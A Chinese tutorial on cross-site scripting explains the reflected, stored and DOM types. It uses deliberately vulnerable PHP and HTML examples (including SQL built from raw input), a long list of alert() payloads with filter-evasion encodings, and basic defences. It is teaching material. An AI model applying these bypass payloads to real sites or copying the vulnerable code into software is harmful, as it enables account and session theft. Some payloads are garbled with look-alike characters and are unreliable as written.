遭遇 XSS 跨站脚本攻击?稳住,这些方法可保你渡劫 | 附代码、图解
本文将详细讲解XSS跨站脚本攻击,从原理、示例、危害到三种常见类型(反射型、存储型、DOM型),并结合代码示例进行详细讲解,最后分享了如何预防XSS攻击。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和ichunqiu的课程,同时也结合了作者之前的编程经验进行讲解。
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
什么是XSS
1.XSS原理
跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie窃取、会话劫持、钓鱼欺骗等各种攻击。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
漏洞成因
如下图所示,在URL中将搜索关键字设置为JS代码,执行了alert()函数。该图中,上面有一个URL,下面是一个页面返回的HTML代码,我们可以看到白色部分HTML是我们事先定义好的,黑色部分参数是用户想搜索的关键词。当我们搜索了test+Div最后等于123,后台反馈页面的搜索引擎会告诉用户搜索了什么关键词,结果如何等等。
这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。
该漏洞存在的主要原因为:
参数输入未经过安全过滤 恶意脚本被输出到网页 用户的浏览器执行了恶意脚本
2.XSS示例
下面是一个简单的XSS漏洞代码(xss-01.php)。
<?php
echo "这是一个XSS漏洞攻击测试页面!<br />";
$xss = $_GET['x'];
echo $xss;
//JS代码:<script>alert(1)</script>
?>
http://localhost/xss/xss-01.php?x=122
http://localhost/xss/xss-01.php?x=<script>alert(1)</script>
示例2:POST提交
<html>
<head><title>XSS测试1</title></head>
<body>
<form action='xss.php' method="get">
请输入用户名:<br>
<input type="text" name="name" value="" />
<input type="submit" name="提交" />
</form>
</body>
</html>
<html>
<head>
<title>测试结果</title>
</head>
<body>
<?php
echo $_REQUEST['name'];
?>
</body>
</html>
页面直接弹出了“1“”的窗口,可以看到,我们插入的语句已经被页面给执行了。这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是:前端–>后端–>前端。
3.XSS危害
网络钓鱼,包括盗取各类用户账号 窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作 劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等 强制弹出广告页面、恶意 刷流量等 网站挂马,进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等 进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等 获取用户端信息 ,;例如用户的浏览记录、真实IP地址、开放的端口等
结合其他漏洞,如CSRF漏洞,实施进一步作恶
也称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。一般出现在输入框、URL参数处。
持久型跨站脚本也可以说是存储型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。一般出现在网站的留言、评论、博客日志等于用户交互处。
1.反射型
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是:前端–>后端–>前端。其代码案例如前面所述:
//前端页面 index.html
<html>
<head><title>XSS测试1</title></head>
<body>
<form action='xss.php' method="get">
请输入用户名:<br>
<input type="text" name="name" value="" />
<input type="submit" name="提交" />
</form>
</body>
</html>
//后端页面 xss.php
<?php
$name = $_POST['name'];
echo $name;
?>
2.存储型
假设现在存在一个 index2.html 代码,用户提交ID和用户名并存储至数据库中。
<html>
<head><title>XSS测试2</title></head>
<body>
欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
<form action='xss2.php' method="post">
请输入用户名:<br>
ID:<input type="text" name="id" value="" /> <br />
Name:<input type="text" name="name" value="" /> <br />
<input type="submit" name="提交" />
</form>
</body>
</html>
<?php
//获取提交的表单值
$id=$_POST["id"];
$name=$_POST["name"];
echo $id,'<br />';
echo $name,'<br />';
//连接数据库
//因为PHP版本是7.3的,因此用mysqli_connect()而不是用mysql_connect()
$con = mysqli_connect("localhost","root","123456", "xssdb");
if (!$con)
{
die('Could not connect database: ' . mysqli_error());
}
//插入数据表
$sql = "insert into xss (id,name) values ('{$id}','{$name}');";
echo $sql;
$result
<?php
$id = $_GET['id'];
//链接数据库
$con = mysqli_connect("localhost","root","123456", "xssdb");
//查询数据
$sql = "select * from xss where id='{$id}';";
$result = mysqli_query($con, $sql);
//$data = mysqli_fetch_all($result); // 从结果集中获取所有数据
//print_r($data);
while($row = mysqli_fetch_assoc($result)) {
echo $row['name'];
}
?>
name:yangxiuzhang
通过本地网址(localhost:8088/xss/select.php?id=1)我们能获取id为1对应的name值。
当我们输入JS代码时,该程序又将如何运行呢?接着我们插入如下数据:
name:< script>alert(‘hack’)< /script>
此时数据库插入的内容如下所示,可以看到JS代码已经成功插入我们的后台。
最后,我们调用 select.php (localhost:8088/xss/select.php?id=2)页面,可以看到成功执行了该脚本文件。
存储型XSS的数据流向为:前端–>后端–>数据库–>后端–>前端。
3.DOM型
DOM是指文档对象模型,是一个平台中立和语言中立的接口,有的程序和脚本可以动态访问和更新文档的内容、结构和样式。在web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。
DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
<html>
<head><title>DOM-XSS测试3</title></head>
<body>
欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
<form action='xss3.php' method="post">
请输入用户名:<br>
<input type="text" name="name" value="" style="width:400px" /> <br />
<input type="submit" name="提交" />
</form>
</body>
</html>
<?php
//获取提交的表单值
$name=$_POST["name"];
?>
<input id="username" type="text" value="<?php echo $name; ?>"/>
<div id="print">
<!-- 显示获取的内容 -->
</div>
<script type="text/javascript">
//获取username值并输出在print内,这里是导致xss的主要原因
var text = document.getElementById("username");
var print = document.getElementById("print");
print.innerHTML=text.value;
</script>
而当我们输入恶意代码的时候,比如提交 <img src=1 οnerrοr=alert(‘hack’) /> 给后台,它会执行我们的JS代码,弹出hack的窗体。从而证明了DOM-XXSS是存在的。
DOM型跨站脚本漏洞的数据流向是:前端->浏览器。
XSS构造及漏洞利用
1.XSS构造
<?php
$name=$_POST["name"];
if($name!=null){
//过滤<script>和</script>
$name=preg_replace("/<script>/","",$name);
$name=preg_replace("/<\/script>/","",$name);
echo $name;
}
?>
通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
常用案例:
<script>alert(/xss/)</script>
通过javascript:[code]伪协议形式编写恶意脚本
常用案例:
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');" >
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
<img src="javas cript:alert(/xss/)" width=100>
使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>
<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert('xss');">
其中,t的ASCII码值为116,用”t”表示,:则表示:。
再进一步替换:
<img src="javascript:alert('xss');">
用户接口(鼠标、键盘) 逻辑(处理的结果) 变化(对文档进行修改)
<input type="button" value="click me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert(/xss/)");}
</style>
<div style="width:expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body {background-image: expression(alert("xss"));}
</style>
<div style="list-style-image:url(javascript:alert('XSS'));">
<div style="background-image:url(javascript:alert('XSS'));">
<img src=" javascript:alert('xss')">
<style>
@import 'javascript:alert(/xss/)';
</style>
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg sRC="JaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不适用引号的XSS:
<img src=javascript:alert(0);>
不需要空格的XSS:
<img/src="javascript:alert('xss');">
构造不同的全角字符:
<div style="{left:expression(alert('xss'))">
利用注释符
<div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">
\和\0–
<style>
@imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
<style>
@imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>
CSS关键字转码
<div style="xss:\65xpression(alert('XSS'));">
<div style="xss:\065xpression(alert('XSS'));">
<div style="xss:\0065xpression(alert('XSS'));">
<!--<img src="--><img src=x οnerrοr=alert(1)//">
<comment><img src="</comment><img src=x οnerrοr=alert(1)//">
<style><img src=“</style><img src=x onerror=alert(1)//”>
原始语句:
<img src="javascript:alert('xss');">
十进制编码
<img
src="javascript:a&
#108ert('xss');">
<img
src="javascrip&#
0116;:alert('x&#
0115;s');">
<img
src="javasc
4ipt:ale&
#0000114t('xss�
0039);">
十六进制编码
<img
src="javascript:&#
x61lert('xss');">
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
<img
src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
2.挖掘其他XSS漏洞
<script>alert(/xss/)</script>
<li/οnclick=alert(xss)>a</li>
<img/src=x οnerrοr=alert(1)>
<a href=javascript:alert(2)>M
<a href=javascript:alert(13)>M
<svg/οnlοad=alert(1)>
如何防御XSS
1.输入过滤
输入是否仅仅包含合法的字符 输入字符串是否超过最大长度限制 输入如果为数字,数字是否在指定的范围 输入是否符合特殊的格式要求,如E-mail地址、IP地址等
2.输出编码
3.标签黑白名单过滤
大小写混淆:
<img src=JaVaScRiPt:alert(‘xss’)>
插入[tab]键;
<img src=”jav ascript:alert(‘xss’);”>
插入回车符:
<img src=”jav
asrci
pt:alert(‘xss’);”>
使用/**/注释符:
<img src=”java/*xxx*/script:alert(‘xss’);”>
重复混淆关键字:
<img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”>
使用&#十六进制编码字符:
<img src=”jav	ascript:alert(‘xss’);”>
使用&#十进制编码字符:
<img src= javascript:alert(‘xss’);”>
使用&#十进制编码字符(加入大量的0000):
<img src=”javascript:alert(‘xss’);”>
在开头插入空格:
<img src=” javascript:alert(‘xss’);”>
过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。
白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。
4.代码实体转义
5.httponly防止cookie被盗取
总结
更多精彩推荐
☞连按 5 次 Shift 重改 CMD 和密码并重启电脑,这个漏洞你不能不知道!
☞出海、拆分、集成公链,“国家队区块链选手”BSN在下一盘怎样的棋?